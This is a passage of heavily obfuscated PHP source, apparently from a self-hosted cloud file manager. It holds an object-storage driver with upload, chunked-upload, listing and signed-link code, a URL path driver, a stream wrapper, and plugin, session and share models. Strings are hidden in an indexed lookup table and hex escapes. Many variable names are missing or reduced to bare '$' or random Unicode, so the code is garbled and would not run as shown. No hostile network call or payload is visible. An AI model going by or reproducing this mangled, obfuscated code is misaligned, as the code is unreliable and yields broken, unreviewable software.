($츝Ñ as $̬֜) { $ = $this->ussRequest($̬֜, $[1578]); if (!$[$[1306]]) { return !1; } } $ = $this->ussRequest($, $[1578]); return $[$[1306]]; } public function rename($, $ɐ) { if ($this->isFile($)) { $ɐ = get_path_father($) . $ɐ; return $this->moveFile($, $ɐ); } return $this->renameObject($, $ɐ); } public function fileInfo($ȂǸ, $ޛ = false, $𩯚 = array()) { $ =& $_SERVER[秼]; $ = array($[32] => $this->pathThis($ȂǸ), $[87] => $this->getPathOuter($[8] . $ȂǸ), $[33] => $[232], $[79] => isset($𩯚[$[79]]) ? $𩯚[$[79]] : 0, $[169] => $this->ext($ȂǸ)); if ($ޛ) { return $; } $[$[233]] = $[$[88]] = 0; $[$[234]] = $[$[235]] = !0; if (empty($𩯚)) { $𩯚 = $this->objectMeta($ȂǸ); if (!$𩯚) { return $; } } $[$[233]] = intval($𩯚[$[1579]]); $[$[88]] = intval($𩯚[$[1580]]); $[$[79]] = $𩯚[$[79]]; return $; } public function folderInfo($٥, $ = false) { $ =& $_SERVER[秼]; $ = array($[32] => $this->pathThis($٥), $[87] => $this->getPathOuter($[8] . $٥), $[33] => $[78]); if ($) { return $; } $[$[233]] = $[$[88]] = 0; $[$[234]] = $[$[235]] = !0; if (empty($ަ)) { $ަ = $this->objectMeta($٥); if (!$ަ) { return $; } } $[$[233]] = intval($ަ[$[1579]]); $[$[88]] = intval($ަ[$[1580]]); return $; } private function listObjs($Ú, $ = 0, $Ȭ = 1000) { $ =& $_SERVER[秼]; $ = array($[1581], $[1582] . $Ȭ); if ($) { $[] = $[1583] . $; } $ = $this->ussRequest($Ú, $[1505], !1, $); return !$[$[1306]] ? !1 : $[$[1296]]; } private function fileList($Ԫ, &$, &$, $֡к = false) { $ =& $_SERVER[秼]; $Џ = $[12]; $ = 1000; $ӗ = rtrim($Ԫ, $[8]) . $[8]; while (!0) { check_abort(); $Ӣ = $this->listObjs($Ԫ, $Џ, $); if (!$Ӣ) { return !1; } $Џ = isset($Ӣ[$[1584]]) ? $Ӣ[$[1584]] : $[12]; $ʡ = isset($Ӣ[$[1585]]) ? $Ӣ[$[1585]] : array(); foreach ($ʡ as $) { $ɓ = $[$[33]] == $[78] ? !0 : !1; $ک쾦 = ltrim($ӗ . $[$[32]], $[8]) . ($ɓ ? $[8] : $[12]); $皑 = array($[32] => $ک쾦, $[33] => $ɓ ? $[78] : $[232], $[79] => $[$[414]], $[1580] => $[$[1586]]); $this->cacheMethodInfoSet($ک쾦, $ɓ, $皑); if ($ɓ) { $[] = $ک쾦; if ($֡к) { $this->fileList($ک쾦, $, $, $֡к); } continue; } $[] = $皑; } if (count($ʡ) < $) { break; } } $this->cacheMethodInfoSet($Ԫ, !0); } public function listPath($奆, $ӭ˶ = false) { $ =& $_SERVER[秼]; $ݑ΄д = $ճ߿ = array(); $this->fileList($奆, $ݑ΄д, $ճ߿); foreach ($ݑ΄д as $ => $ү) { $ݑ΄д[$] = $this->folderInfo($ү, $ӭ˶); } foreach ($ճ߿ as $ => $ү) { $ճ߿[$] = $this->fileInfo($ү[$[32]], $ӭ˶, $ү); } return array($[85] => $ݑ΄д, $[86] => $ճ߿); } public function has($Č, $ҩ = false, $и = true) { $ =& $_SERVER[秼]; $ͱ = $[12]; $٥ = 500; $씛ή = 0; $ = 0; $ = rtrim($Č, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($Č, $ͱ, $٥); if (!$) { return !1; } $ͱ = isset($[$[1584]]) ? $[$[1584]] : $[12]; $ = isset($[$[1585]]) ? $[$[1585]] : array(); if (empty($)) { break; } $ = array_filter($, function ($逝) { $ =& $_SERVER[秼]; return $逝[$[33]] == $[78]; }); $Ø = count($); $ = count($); $ = $Ø - $; if ($ҩ) { $ += $; $씛ή += $; if ($Ø < $٥) { break; } continue; } if ($и) { if ($) { return !0; } } else { if ($) { return !0; } } if ($Ø < $٥) { break; } } if ($ҩ) { return array($[241] => $씛ή, $[242] => $); } return !1; } public function listAll($˜) { $ =& $_SERVER[秼]; $윹н = $ = array(); $this->fileList($˜, $윹н, $, !0); $´շ = array_to_keyvalue($, $[32]); foreach ($윹н as $) { if (is_string($)) { $´շ[$] = array($[79] => 0); } } return $this->listAllFiles($˜, $´շ); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $̆ = '') { $Þ =& $_SERVER[秼]; if (!$̆) { $و = $this->ussRequest($, $Þ[290]); return $و[$Þ[1306]]; } $Ҙ = $this->tempFile($this->pathThis($)); file_put_contents($Ҙ, $̆); if ($this->upload($, $Ҙ)) { $this->tempFileRemve($Ҙ); return !0; } return !1; } public function fileSubstr($ā, $̔, $) { $Ӕ =& $_SERVER[秼]; if (!($؉٭ = $this->link($ā))) { return !1; } $ = !1; if ($ > 0) { $쿈 = $̔ + $ - 1; $ = array($Ӕ[1545] . $̔ . $Ӕ[473] . $쿈); } $ = url_request($؉٭, $Ӕ[1505], !1, $); return $[$Ӕ[838]] ? $[$Ӕ[1296]] : !1; } public function upload($Ȓ, $դ, $ = false, $ܨ = REPEAT_REPLACE) { $͂ =& $_SERVER[秼]; $Ԩ = IO::size($դ); if ($Ԩ <= 1024 * 1024 * 200) { $ = array($͂[1587] . $դ); $Î = $this->ussRequest($Ȓ, $͂[255], $); return $Î[$͂[1306]] ? $this->getPathOuter($Ȓ) : !1; } $욼 = 1024 * 1024 * 10; $ = array($͂[1588], $͂[1589] . $Ԩ, $͂[1590], $͂[1591] . $욼); $Î = $this->ussRequest($Ȓ, $͂[255], !1, $); if (!$Î[$͂[1306]]) { return !1; } $ = $Î[$͂[1296]]; $ĸ = 0; $늤 = $[$͂[1592]]; $ُ = fopen($դ, $͂[1468]); if (!$ُ) { return !1; } do { $Է = $[$͂[1593]]; fseek_64($ُ, $ĸ); $Ք = fread($ُ, $Է); $ = 0; do { $++; $ = $this->uploadPart($Ȓ, $, $Ք); } while (!$ && $ < 3); if (!$) { return !1; } $늤 = $[$͂[1592]]; $ĸ += $Է; } while ($늤 != -1); fclose($ُ); $ = array($͂[1594], $͂[1595] . $[$͂[1596]], $͂[1590]); $Î = $this->ussRequest($Ȓ, $͂[255], !1, $); return $Î[$͂[1306]] ? $this->getPathOuter($ǀ) : !1; } private function uploadPart($, $ѓн, &$) { $ =& $_SERVER[秼]; $ُΫ = array($[1597], $[1595] . $ѓн[$[1596]], $[1598] . $ѓн[$[1592]], $[146] . $ѓн[$[1593]]); $ = $this->ussRequest($, $[255], $, $ُΫ); return !$[$[1306]] ? $[$[1306]] : $[$[1296]]; } public function uploadFormData($, $͓ = 3600) { return $this->uploadPolicy($, $͓); } public function uploadMultiData($, $ۗ = 3600) { $э =& $_SERVER[秼]; $˿ = (int) $GLOBALS[$э[7]][$э[79]]; return $this->uploadPolicy($, $ۗ, $˿); } private function uploadPolicy($ż, $ = 3600, $Ȩ = 0) { $ =& $_SERVER[秼]; $꤉Ż = $[8] . $this->bucket; $ = gmdate($[1503]); $ = array($[1599] => $this->bucket, $[1600] => $ż, $[1601] => time() + $, $[1602] => $); if ($Ȩ) { $[$[1488]] = $Ȩ; } $Ί = base64_encode(json_encode($)); $窜 = base64_encode(hash_hmac($[1556], "\120\x4f\x53\x54\x26{$꤉Ż}\x26{$}\46{$Ί}", md5("{$this->userpass}"), !0)); $ = array($[279] => $Ί, $[1603] => "\x55\120\131\125\x4e\40{$this->username}\x3a{$窜}", $[208] => $this->endpoint . $꤉Ż); return $; } public function download($, $) { $ן = IO::getPathInner(IO::mkfile($)); if (!($Ƨׄ = $this->link($))) { return !1; } $ = 0; $ũ = 1024 * 200; $ð = fopen($ן, $_SERVER[秼][1551]); while (!0) { $ = $this->fileSubstr($, $, $ũ); if ($ === !1) { return !1; } fwrite($ð, $); $ += $ũ; if (strlen($) < $ũ) { break; } } fclose($ð); return $; } public function link($, $ﮜ = array()) { $Ō =& $_SERVER[秼]; $ = trim($, $Ō[8]); if (!empty($this->token)) { $܀ = strtotime(date($Ō[1604])); $݄ = substr(md5($this->token . $Ō[286] . $܀ . $Ō[1605] . $), 12, 8) . $܀; $ﮜ[] = $Ō[1606] . $݄; } $ = !empty($ﮜ) ? $Ō[76] . implode($Ō[286], $ﮜ) : $Ō[12]; return $this->getHost() . $Ō[8] . $this->pathEncode($) . $; } public function fileOut($އɚ, $呕 = false, $Ԟ = false, $آɕ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($އɚ, $呕, $Ԟ, $آɕ); } if (!$Ԟ) { $Ԟ = $this->pathThis($އɚ); } $ = $呕 ? array($_SERVER[秼][1607] . rawurlencode($Ԟ)) : array(); $ = $this->link($އɚ, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $⏅ = '') { parent::fileOut($, $, $, $⏅); } public function fileOutImage($۽, $ = 250) { $ = $this->link($۽ . $_SERVER[秼][1608] . $); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($) { $ =& $_SERVER[秼]; $ݥ諦 = $this->_objectMeta($); return isset($ݥ諦[$[247]]) ? $ݥ諦[$[247]] : !1; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[秼][79]] : 0; } public function info($ϛ) { if ($this->isFolder($ϛ)) { return $this->folderInfo($ϛ); } else { if ($this->isFile($ϛ)) { return $this->fileInfo($ϛ); } } return !1; } public function exist($ٲ) { return $this->isFile($ٲ) || $this->isFolder($ٲ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[秼][179], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[秼][181], $); } protected function _objectMeta($) { $¯ =& $_SERVER[秼]; if ($ == $¯[12] || $ == $¯[8]) { return array(); } $Ȗ = $this->ussRequest($, $¯[1609]); if (!$Ȗ[$¯[1306]]) { return null; } $͗鸁 = isset($Ȗ[$¯[1296]]) ? $Ȗ[$¯[1296]] : array(); if (!isset($͗鸁[$¯[1610]])) { return null; } $ = array($¯[33] => isset($͗鸁[$¯[1610]]) ? $͗鸁[$¯[1610]] : null, $¯[79] => isset($͗鸁[$¯[1611]]) ? $͗鸁[$¯[1611]] : null, $¯[247] => isset($͗鸁[$¯[1612]]) ? $͗鸁[$¯[1612]] : null, $¯[1579] => isset($͗鸁[$¯[1613]]) ? $͗鸁[$¯[1613]] : null); $[$¯[1580]] = isset($͗鸁[$¯[1614]]) ? strtotime($͗鸁[$¯[1614]]) : $[$¯[1579]]; return $; } protected function _isFolder($) { $̲ =& $_SERVER[秼]; if ($ == $̲[12] || $ == $̲[8]) { return !0; } $Ⅿ = $this->_objectMeta($); return isset($Ⅿ[$̲[33]]) && $Ⅿ[$̲[33]] == $̲[78] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($̱ = false) { } public function exist($ދ) { $ = $this->info($ދ); return $[$_SERVER[秼][234]]; } public function isFile($) { $ = $this->info($); return $[$_SERVER[秼][234]]; } public function isFolder($Ǎǣܳ) { return !1; } public function size($) { $՝ۚ = $this->info($); return $՝ۚ[$_SERVER[秼][79]]; } public function info($ڙ) { return $this->infoParse($ڙ); } public function infoAuth($͢) { return $this->infoParse($͢); } public function infoWithChildren($ݐ) { return $this->infoParse($ݐ); } public function infoFull($ܳݕ) { return $this->infoParse($ܳݕ); } private function infoParse($О) { $ =& $_SERVER[秼]; $轟 = $this->header($О); if (!$轟 || !$轟[$[838]]) { return !1; } $ = _get($轟, $[414], 0); $ףݒ = array($[32] => $轟[$[32]], $[87] => $О, $[33] => $[232], $[79] => intval($), $[169] => get_path_ext($轟[$[32]]), $[1465] => $ > 0 && $轟[$[1615]], $[1466] => !1); return $ףݒ; } private function header($) { $ =& $_SERVER[秼]; if (isset(self::$_cacheHeader[$])) { return self::$_cacheHeader[$]; } $ = isset($GLOBALS[$[1616]]) ? $GLOBALS[$[1616]] : !1; $GLOBALS[$[1616]] = !0; self::$_cacheHeader[$] = url_header($); $GLOBALS[$[1616]] = $; return self::$_cacheHeader[$]; } public function hashSimple($ۘ, $Ǵ = false) { $ի =& $_SERVER[秼]; $ǀ = $this->info($ۘ); if (!$ǀ || !$ǀ[$ի[234]]) { return !1; } $ = $ǀ[$ի[79]]; $ = 200; $兓 = 50; if ($ <= $ * $兓) { return md5($this->fileSubstr($ۘ, 0, $)) . $; } $ = intval($ / $兓); $ = $ի[12]; $ѽ㩧 = timeFloat(); $ = 15; for ($DZ = 0; $DZ < $兓; $DZ++) { if (timeFloat() - $ѽ㩧 > $) { return !1; } $Բ = $this->fileSubstr($ۘ, $ * $DZ, $); if (!$Բ) { return !1; } $ .= $Բ; } $ .= $this->fileSubstr($ۘ, $ - $, $); return md5($) . $; } public function getContent($ʼ) { return $this->fileSubstr($ʼ); } public function fileSubstr($, $爑چ = 0, $ = -1) { $챔 =& $_SERVER[秼]; $ = $this->info($); if (!$ || !$[$챔[234]] && $[$챔[79]] > 1024 * 1024 * 10) { return !1; } if ($ === -1) { $ = $[$챔[79]]; } if ($ == 0) { return $챔[12]; } $ܧ = array($챔[1617] . $爑چ . $챔[874] . ($爑چ + $ - 1)); $Ƙ = url_request($, $챔[1505], !1, $ܧ, !1, !1, 30); return $Ƙ[$챔[1296]] ? $Ƙ[$챔[1296]] : $챔[12]; } public function download($, $ϒ) { Downloader::start($, $ϒ); return $ϒ; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($Ҡ, $˶ = '') { $this->info = $this->info($Ҡ); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[秼][87]]; $this->pathOpen = $Ҡ; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$Ҡ])) { self::$_chunkBuffer[$Ҡ] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($謁) { $ɐ = $this->fileSubstr($this->pose, $謁); $this->pose += strlen($ɐ); return $ɐ; } public function stream_tell() { return $this->pose; } public function stream_seek($ε, $䏱) { $ =& $_SERVER[秼]; if ($䏱 == SEEK_SET) { $this->pose = $ε; } else { if ($䏱 == SEEK_CUR) { $this->pose += $ε; } else { if ($䏱 == SEEK_END) { $this->pose = $this->info[$[79]] + intval($ε); } } } if ($ε < 0) { $this->pose = $this->info[$[79]] + $ε; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[秼][79]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($, $ηЧ) { $ͷ =& $_SERVER[秼]; $Lj = $this->info($); return array($ͷ[1409] => 0, $ͷ[1618] => 0, $ͷ[16] => 32768 + 511, $ͷ[1619] => 0, $ͷ[1620] => 0, $ͷ[1621] => 0, $ͷ[1622] => 0, $ͷ[79] => $Lj[$ͷ[79]], $ͷ[1623] => $Lj[$ͷ[1464]], $ͷ[1580] => $Lj[$ͷ[88]], $ͷ[1579] => $Lj[$ͷ[233]], $ͷ[1624] => 0, $ͷ[1625] => 0); } static $fileInfo = array(); public function info($) { $Ɏ = $_SERVER[秼][1626]; if (isset(self::$fileInfo[$])) { return self::$fileInfo[$]; } if (substr($, 0, strlen($Ɏ)) != $Ɏ) { return !1; } self::$fileInfo[$] = IO::info(substr($, strlen($Ɏ))); return self::$fileInfo[$]; } public static function read($, $ņ, $) { if (!isset(self::$_fopenCache[$])) { $ݠ = new StreamWrapperIO(); $ݠ->stream_open($); self::$_fopenCache[$] = $ݠ; } $ݠ = self::$_fopenCache[$]; return $ݠ->fileSubstr($ņ, $); } public static function _read($, $ľ, $) { $ =& $_SERVER[秼]; $ϝ = fopen($, $[1468]); if (!$ϝ) { return $[12]; } $ԓ = 8192; fseek($ϝ, $ľ, SEEK_SET); $Ӣ· = $[12]; $ = 0; while ($ < $) { $͇֭ = min($ԓ, $ - $); $Ӣ· .= fread($ϝ, $͇֭); $ += $͇֭; } fclose($ϝ); return $Ӣ·; } public function fileSubstr($, $) { $ܞ =& $_SERVER[秼]; $ې = $this->info[$ܞ[79]]; $ = $; $ = $; if ($ < 0) { $ = $ې + $; } if ($ === !1) { $ = $ې - $; } if ($ + $ > $ې) { $ = $ې - $; } if ($ <= 0) { return $ܞ[12]; } if ($ < 0 || $ >= $ې || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("\151\x6f\106\151\154\145\122\x65\141\x64\40\x65\x72\162\x6f\162\x21\40\x73\x74\x61\162\x74\x3d{$}\x3b\154\x65\x6e\147\164\150\75{$}\73\40\x73\151\172\145\75{$ې}\x3b"); } $ = 64 * 1024; $ =& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $̬ = 0; $ң = 0; $ = $ܞ[12]; foreach ($ as $̬ => $) { $̬ = intval($̬); $ң = $̬ + strlen($); if ($ >= $ң) { continue; } if ($ >= $̬ && $ + $ <= $ң) { return substr($, $ - $̬, $); } break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($ܞ[1627], $ܞ[1628] . count($) . "\73\163\x74\x61\x72\x74\x3d{$}\54\154\145\x6e\x67\x74\x68\75{$}\73\160\157\163\x65\x3a{$̬}\x7e{$ң}"); throw new Exception($ܞ[1629]); } $ = intval($ / $) * $; $Ė = ceil(($ + $) / $) * $ - $; $ = IO::fileSubstr($this->path, $, $Ė); $[$ . $ܞ[12]] = $; ksort($); $ = substr($, $ - $, $); return $; } private function log($É, $) { $ =& $_SERVER[秼]; $ѳ = timeFloat() - $this->timeStart; write_log(sprintf($[1630], $É, $this->info[$[32]], $ѳ, $), $[1273]); } } goto F; A름: class PluginModel extends ModelBaseLight { public $optionType = "\123\171\163\164\x65\x6d\x2e\160\x6c\x75\147\151\x6e\x4c\151\163\164"; public $field = array("\x6e\x61\x6d\145", "\163\x74\x61\x74\x75\x73", "\162\x65\147\151\x65\x73\164", "\143\x6f\x6e\146\151\147"); public function loadList($ = false) { $᥍ = array_to_keyvalue($this->listData(), $_SERVER[秼][32]); if ($) { return $᥍[$]; } return $᥍; } public function init() { $әɗ =& $_SERVER[秼]; Hook::trigger($әɗ[2108]); $ܮ = $this->loadPluginList(); foreach ($ܮ as $ => $ފ) { $ې = $this->appAllow($, $ފ); if (!$ې) { continue; } foreach ($ފ[$әɗ[2109]] as $ފ => $ٹ) { Hook::bind($ފ, $ٹ); } } Hook::trigger($әɗ[2110]); Hook::trigger(ACTION); } public function appAllow($, $Ņ, $ = true) { $ =& $_SERVER[秼]; $ݜ = PLUGIN_DIR . $ . $[2111]; if (!is_array($Ņ) || !is_array($Ņ[$[2109]]) || $Ņ[$[838]] != 1 || !is_file($ݜ)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$[6]][$[2112]] || !$GLOBALS[$[6]][$[2113]]) { return !0; } $쐅 = explode($[50], strtolower($GLOBALS[$[6]][$[2113]])); return in_array(strtolower($), $쐅) ? !1 : !0; } if ($ && !Action($[2114])->checkAuth($)) { return !1; } return !0; } public function unInstall($) { $ɬ =& $_SERVER[秼]; $Ԅ = $this->loadList($); if (file_exists(PLUGIN_DIR . $)) { Hook::apply($ . $ɬ[2115]); } $this->remove($Ԅ[$ɬ[486]]); } public function changeStatus($ۊ, $۟) { $Ո =& $_SERVER[秼]; $ս쮻 = $this->loadList($ۊ); if ($۟) { Hook::apply($ۊ . $Ո[2116]); } $this->update($ս쮻[$Ո[486]], array($Ո[2117] => $۟)); } public function appRegist($߃, $) { $ٿإ =& $_SERVER[秼]; $՜ = $this->loadList($߃); if ($՜) { $this->update($՜[$ٿإ[486]], array($ٿإ[2109] => $)); } else { $´ = array($ٿإ[32] => $߃, $ٿإ[2109] => $, $ٿإ[838] => 0, $ٿإ[6] => $this->getConfigDefault($߃)); $this->insert($´); } } public function getConfigDefault($Ԕ) { $ܕۃ =& $_SERVER[秼]; $ = array(); $ = $this->getPackageJson($Ԕ); if (!$ && is_array($[$ܕۃ[2118]])) { return $; } foreach ($[$ܕۃ[2118]] as $ꃝƳ => $ݚ) { if (!isset($ݚ[$ܕۃ[461]]) || isset($[$ꃝƳ])) { continue; } $[$ꃝƳ] = $ݚ[$ܕۃ[461]]; } return $; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[秼][2119]); } public function getConfig($߂, $ = false) { $ʃ =& $_SERVER[秼]; $ޟ = array(); $ = $this->loadList($߂); if ($ && is_array($[$ʃ[6]])) { $ޟ = $[$ʃ[6]]; } if (!$ޟ || $) { $ޟ = $this->getConfigDefault($߂); } return $ޟ; } public function setConfig($ڕ㽽, $Ę = false) { $ =& $_SERVER[秼]; $Ƙ = $this->loadList($ڕ㽽); if (!$Ƙ) { return !1; } $ȱ = $Ƙ[$[6]]; if ($Ę == !1) { $ȱ = array(); $Ę = $this->getConfigDefault($ڕ㽽); } foreach ($Ę as $ﰯ => $) { $ȱ[$ﰯ] = is_string($) ? trim($) : $; } $this->update($Ƙ[$[486]], array($[6] => $ȱ)); } public function viewList() { $ɵ˻ =& $_SERVER[秼]; $ǃ = $this->loadList(); $this->pluginScan($ǃ); $ǃ = $this->loadPluginList(); $Л˱ = array(); foreach ($ǃ as $̀ => $ʰ) { $ = $ʰ; unset($ʰ[$ɵ˻[2109]], $ʰ[$ɵ˻[6]]); $十 = PLUGIN_DIR . $ʰ[$ɵ˻[32]] . $ɵ˻[2111]; if (!is_file($十)) { continue; } $Ā = Hook::apply($ʰ[$ɵ˻[32]] . $ɵ˻[2119]); if (!is_array($Ā)) { continue; } $Л˱[$̀] = array_merge($ʰ, $Ā); if ($[$ɵ˻[6]][$ɵ˻[1696]] != $Ā[$ɵ˻[1670]]) { Hook::apply($ʰ[$ɵ˻[32]] . $ɵ˻[2116]); $[$ɵ˻[6]][$ɵ˻[1696]] = $Ā[$ɵ˻[1670]]; $this->update($ʰ[$ɵ˻[486]], array($ɵ˻[6] => $[$ɵ˻[6]])); } } return $Л˱; } private function loadPluginList() { $Ƃʡ =& $_SERVER[秼]; $Ǻ = $this->loadList(); if (strtolower(MOD) == $Ƃʡ[2120]) { return $Ǻ; } $ϸ = Hook::trigger($Ƃʡ[2121], $Ǻ); if ($Ǻ && !$ϸ) { die; } return $ϸ ? $ϸ : $Ǻ; } private function pluginScan($) { $ =& $_SERVER[秼]; recursion_dir(PLUGIN_DIR, $, $Ͽ, 0); foreach ($ as $Цŏ) { $ߔ = get_path_this($Цŏ); if (isset($[$ߔ]) || !file_exists($Цŏ . $[2122]) || !file_exists($Цŏ . $[2111])) { continue; } Hook::apply($ߔ . $[2116]); } } } class SessionModel extends ModelBase { protected $tableName = "\163\171\x73\x74\145\x6d\x5f\163\x65\x73\x73\x69\157\156"; public function get($) { $Ҿ =& $_SERVER[秼]; $ = $this->where(array($Ҿ[2123] => $))->find(); if (!is_array($)) { return !1; } return $[$Ҿ[171]]; } public function set($, $ۤ, $Ľ = 3600) { $ =& $_SERVER[秼]; $ = array($[2123] => $, $[2023] => $ۤ, $[2124] => $Ľ + time()); if (Session::get($[2125])) { $[$[1783]] = Session::get($[2125]); } else { $[$[1783]] = 0; } if ($this->get($)) { return $this->where(array($[2123] => $))->save($); } else { return $this->add($, array(), !0); } } public function remove($渂) { return $this->where(array($_SERVER[秼][2123] => $渂))->delete(); } public function clearTimeout() { return $this->where($_SERVER[秼][2126] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\x73\150\141\162\x65"; protected $dataAuto = array(array("\155\x6f\x64\151\146\171\x54\151\x6d\145", "\x74\151\155\x65", "\151\156\x73\x65\162\164\x2c\x75\160\x64\141\164\x65", "\146\x75\x6e\x63\x74\151\x6f\156"), array("\x63\x72\145\141\164\x65\x54\151\x6d\x65", "\164\151\155\145", "\151\156\x73\145\x72\x74", "\146\165\156\x63\x74\x69\x6f\x6e"), array("\x6f\x70\x74\x69\x6f\x6e\163", '', "\151\x6e\163\x65\162\164\x2c\165\160\x64\141\164\x65\x2c\x73\145\x6c\145\143\x74", "\152\163\157\156")); private $fieldList = "\52"; protected function cacheFunctionAlias($Ώ) { $ =& $_SERVER[秼]; $ۥϺ = isset($Ώ[0]) ? $Ώ[0] : !1; $ߑ = $[2127] . USER_ID; return array($[2128] => array(USER_ID, $[2129]), $[2068] => array($ۥϺ, $[2130], $ߑ)); } protected function listSimple() { $ؖѠ = array($_SERVER[秼][1783] => USER_ID); $Ζ = $this->field($this->fieldList)->where($ؖѠ)->select(); return $Ζ ? $Ζ : array(); } protected function getInfo($, $ = false, $ = '') { $ =& $_SERVER[秼]; if (!$) { $ = $[2127] . USER_ID; } if ($) { return $this->_getShareInfo(array($[679] => $)); } $ = $this->cacheFunctionGet($[2070], $, $); return $; } public function getInfoByHash($뒏) { return $this->_getShareInfo(array($_SERVER[秼][2131] => $뒏)); } public function getInfoByPath($۹) { $ =& $_SERVER[秼]; $荼 = array($[1783] => USER_ID, $[193] => $۹); return $this->_getShareInfo($荼); } public function getInfoBySourcePath($ۖ) { $ڞ =& $_SERVER[秼]; $ = array($ڞ[1783] => USER_ID, $ڞ[1266] => $ۖ); return $this->_getShareInfo($); } private function _getShareInfo($) { $볽 =& $_SERVER[秼]; $ = $this->where($)->find(); if (!$) { return !1; } $ = array($볽[679] => $[$볽[679]]); $ٯ = $볽[2132]; $罈 = Model($볽[680])->order($볽[486])->field($ٯ)->where($)->select(); if ($[$볽[193]] == $볽[230]) { $[$볽[90]] = IO::info($[$볽[1266]]); } else { $[$볽[90]] = Model($볽[1430])->pathInfo($[$볽[193]]); } $[$볽[2133]] = $罈; return $; } protected function getInfoAuth($ċ) { $ =& $_SERVER[秼]; $ɯ = $this->getInfo($ċ); if ($ɯ[$[1783]] == USER_ID) { $ɯ[$[498]] = $ɯ[$[90]][$[498]]; } else { $ɯ[$[498]] = Model($[578])->authMake($ɯ[$[2133]]); } return $ɯ; } protected function listData($ = null, $ = 300) { $⯄ =& $_SERVER[秼]; $Ԫߛ = array(array($⯄[573] => array($⯄[1098], 0), $⯄[677] => array($⯄[1098], 0), $⯄[2134] => $⯄[2086])); if ($ == $⯄[2135]) { $Ԫߛ = array($⯄[573] => 1); } else { if ($ == $⯄[1251]) { $Ԫߛ = array($⯄[677] => 1); } } $Ԫߛ[$⯄[1783]] = USER_ID; $ʦ = $this->where($Ԫߛ)->selectPage($); return $ʦ; } protected function listToMe($҂ = 300) { $߀ =& $_SERVER[秼]; $ۭ = Model($߀[2136])->userGroupParents(USER_ID); $ș = array($߀[662] => SourceModel::TYPE_USER, $߀[580] => USER_ID); if ($ۭ) { $ș = array(array($߀[662] => SourceModel::TYPE_USER, $߀[580] => USER_ID), array($߀[662] => SourceModel::TYPE_GROUP, $߀[580] => array($߀[7], $ۭ)), $߀[2134] => $߀[2086]); } $կ = Model($߀[680])->where($ș)->selectPage($҂); $ۘ = array_to_keyvalue_group($կ[$߀[456]], $߀[679]); if (!$ۘ) { return $կ; } $Ę = $߀[2137]; $ș = array($߀[679] => array($߀[503], array_keys($ۘ)), $߀[1783] => array($߀[1100], $߀[230])); $ޜ = $this->field($Ę)->where($ș)->select(); foreach ($ޜ as $ => &$) { $[$߀[2133]] = $ۘ[$[$߀[679]]]; } unset($); $ = array($߀[2138] => $ޜ, $߀[2139] => $կ[$߀[453]]); return $; } protected function shareAdd($, $ͫ) { $ɢ =& $_SERVER[秼]; $ = $this->_addShareData($, $ͫ); if (!empty($ͫ[$ɢ[2140]])) { $this->_shareAuthSet($, $ͫ[$ɢ[2140]]); } $this->shareEventAdd($, $ͫ, $ɢ[2141]); return $; } protected function shareAddSystem($٣, $Ё) { $պ =& $_SERVER[秼]; $ɗ = $this->_addShareData($٣, $Ё, $պ[191]); $this->_shareAuthSet($ɗ, $Ё[$պ[2140]]); return $ɗ; } private function shareEventAdd($ݸ, $, $ = "\x61\144\x64") { $ =& $_SERVER[秼]; if (!$ݸ || $ݸ == $[230]) { return; } if ($ == $[2141]) { if ($[$[573]] == $[91]) { Model($[647])->eventShare($ݸ, $[2142]); } if ($[$[677]] == $[91]) { Model($[647])->eventShare($ݸ, $[2143]); } return; } $ý = $this->getInfoByPath($ݸ); $뽋պ = $[2144]; if ($ý[$[573]] == $[230] && $[$[573]] == $[91]) { $뽋պ = $[2142]; } if ($ý[$[573]] == $[91] && $[$[573]] == $[230]) { $뽋պ = $[2145]; } if ($ý[$[677]] == $[230] && $[$[677]] == $[91]) { $뽋պ = $[2143]; } if ($ý[$[677]] == $[91] && $[$[677]] == $[230]) { $뽋պ = $[2146]; } Model($[647])->eventShare($ݸ, $뽋պ); return; } private function _addShareData($, $̮ = array(), $˛ = false) { $ =& $_SERVER[秼]; $ = $˛ == $[191] ? 0 : USER_ID; $՝ = array($[502] => $, $[1774] => $); if ($ == 0) { $՝ = array($[2147] => $̮[$[1266]], $[1774] => $); } if ($ = $this->where($՝)->find()) { return $[$[679]]; } if ($ == 0) { $ = array($[32] => get_path_this($̮[$[87]])); } else { $ = Model($[913])->sourceInfo($); if (!$) { return !1; } } if (!$̮[$[1671]]) { $̮[$[1671]] = $[$[32]]; } $إ = array($[1774] => $, $[502] => $, $[1671] => $[12], $[573] => 0, $[677] => 0, $[1266] => $[12], $[384] => $[12], $[975] => $[12], $[2148] => 0, $[2149] => 0, $[849] => 0, $[2150] => $[12], $[2131] => $[12]); $ہ = explode($[50], $[2151]); foreach ($ہ as $) { if (!isset($̮[$])) { continue; } $إ[$] = $̮[$]; } $ = $this->add($إ); $ڃ = array($[2131] => short_id($)); $this->where(array($[2152] => $))->save($ڃ); return $; } private function _shareAuthSet($͕, $ߵ) { $ =& $_SERVER[秼]; if 